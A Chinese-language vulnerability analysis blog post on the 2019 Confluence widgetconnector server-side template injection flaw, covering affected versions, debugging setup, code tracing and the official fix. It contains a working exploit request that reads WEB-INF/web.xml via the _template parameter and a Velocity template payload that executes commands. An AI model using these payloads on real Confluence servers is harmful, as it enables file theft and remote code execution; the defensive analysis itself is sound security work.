Atlassian Confluence 远程代码执行漏洞分析

2019-04-10 19:38 Confluence WEB安全

背景

Confluence是Atlassian公司出品的一款专业的企业知识管理与协同软件。
该公司的Confluence Server和Data Center产品中使用的widgetconnecter组件(版本<=3.1.3)中存在服务器端模板注入(SSTI)漏洞。
攻击者可以利用该漏洞实现对目标系统进行路径遍历攻击、服务端请求伪造(SSRF)、远程代码执行(RCE)。

影响范围

产品

Confluence Server
Confluence Data Center

版本

所有1.xx,2.xx,3.xx,4.xx和5.xx版本
所有6.0.x,6.1.x,6.2.x,6.3.x,6.4.x和6.5.x版本
所有6.7.x,6.8.x,6.9.x,6.10.x和6.11.x版本
6.6.12之前的所有6.6.x版本
6.12.3之前的所有6.12.x版本
6.13.3之前的所有6.13.x版本
6.14.2之前的所有6.14.x版本

组件

widgetconnector<=3.1.3

修复版本

版本6.6.12及更高版本的6.6.x.
版本6.12.3及更高版本的6.12.x
版本6.13.3及更高版本的6.13.x
版本6.14.2及更高版本

漏洞分析与复现

1.安装与注册使用版

通过官方的下载页面可以按照需要下载不同的版本,下载链接如下,https://www.atlassian.com/software/confluence/download-archives,
随便选择了个比较低的版本,选择的版本为atlassian-confluence-6.9.3-x64.exe。
第一次装完,发现起不来,手动启动也只是瞬间关闭,后来发现是因为没有在安装时给管理员权限。
等到安装完毕会跳转到输入Licence页面,可以选择试用,并在atlassian.com注册一个账号即可获得一个试用30天的Licence
安装完毕页面

2.修改启动参数,调试

Confluence 在Windows平台是通过tomcat注册服务启动的,可以在服务中看到名称以Confluence开头的服务

在控制台中启动
tomcat9w.exe //ES//Confluence030419234341
//ES//表示编辑服务的意思,会弹出一个服务属性窗口,可以对相关属性进行修改,
这里为了调试,需要在 Java Options 输入框中加入如下选项,然后点击确定重启服务即可。
-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5000

给idea配置一个远程调试配置选项,在idea 端的Run/Debug 配置窗体里点击“+”,新建一个远程调试配置文件,
其中Transport 选择Sockoet, Debug Mode选择Attach, 端口填入5000,
由于Confluence和idea都在同一台机子上,这里地址填写localhost即可

3.代码简单分析

Widgetconnector.jar 位于confluence\WEB-INF\atlassian-bundled-plugins\,目录下,根据目录可以知道这是一个插件,且是官方自带的一个插件,
该插件实现的功能在编辑器中表现为“Macro”,官方名字为Widget Connector Macro,
该Macro可以在页面中嵌入图片,视频,幻灯片等等。
该Macro支持的内容可以来自如下站点,YouTube,Vimeo,MySpace Video。
在编辑中选择该Macro的示例图如下:

各个站点的内容不一样表现形式肯定不一样,需要有不同的判断方法,通过调用父类WidgetRenderer的matches方法来判断调用不同的子类。
判断的内容来自url参数,所以在payload中的url参数中必须要包含特定的字串才能加载有漏洞的子类。
在不同的子类中的getEmbeddedHtml函数中有的将_template参数硬编码了,有的没有传递,表示使用默认的模板

4.漏洞复现,模板本地加载

将相关文件导入到idea中,选择查看 Widgetconnector.jar中的
com.atlassian.confluence.extra.widgetconnector.video.DailyMotionRenderer类,
在getEmbeddedHtml 函数中打断点。
发送如下请求

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: www.riskivy.xyz:8091
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Referer: http://www.riskivy.xyz:8091/
Content-Length: 169

{"contentId":"0","macro":{"name":"widget","body":"","params":{"url":"http://localhost/www.dailymotion.com/","width":"300","height":"200","_template":"WEB-INF/web.xml"}}}


注意到params的template参数由用户输入,跟进velocityRenderService的render,
_template最终跳到了VelocityUtils.getRenderedTemplate 方法中,当成模板路径被加载。
调用的加载类来进行资源的加载,你会发现用”../”无法穿越到系统根目录,此时对路径会限定在当前WEB路径,但是可以使用file协议加载非WEB路径的资源。

4.1漏洞复现,模板远程加载

经过测试,可以直接加载https,ftp远程文件,其加载类为tomcat提供的WebappClassLoader.。远程模板内容可为

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('calc').toString()

下图的classLoader为Tomcat 提供的WebappClassLoader

最终WebappClassLoader是调用的为jdk提供的URLClassLoader的findResource方法,

findResource是不支持http协议的。

5.官方修复方法

在WidgetMacro的构造函数中对属性sanitizeFields添加了如下值

  this.sanitizeFields = Collections.unmodifiableList(Arrays.asList(new String[] { "_template" }));

并会调用doSanitizeParameters方法,该方法会将parmeters变量中的_template参数移除,所以用户对于 _template参数不再可控。

该修复方法杜绝了该插件中的SSTI漏洞,但是其中还有几处盲SSRF未修复,可能是官方认为风险可接受吧。

修复方案

1.升级Confluence版本
2.主动升级widgetconnector-*.jar 到 widgetconnector-3.1.4.jar
3.删除或禁用widgetconnector插件

参考

https://www.freebuf.com/news/200183.html
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

评论(3)

匿名

2019/04/18 11:36
太强了,学习下

匿名

2019/04/11 13:19
太强了

test

2019/04/11 13:13
testset

发表评论

captcha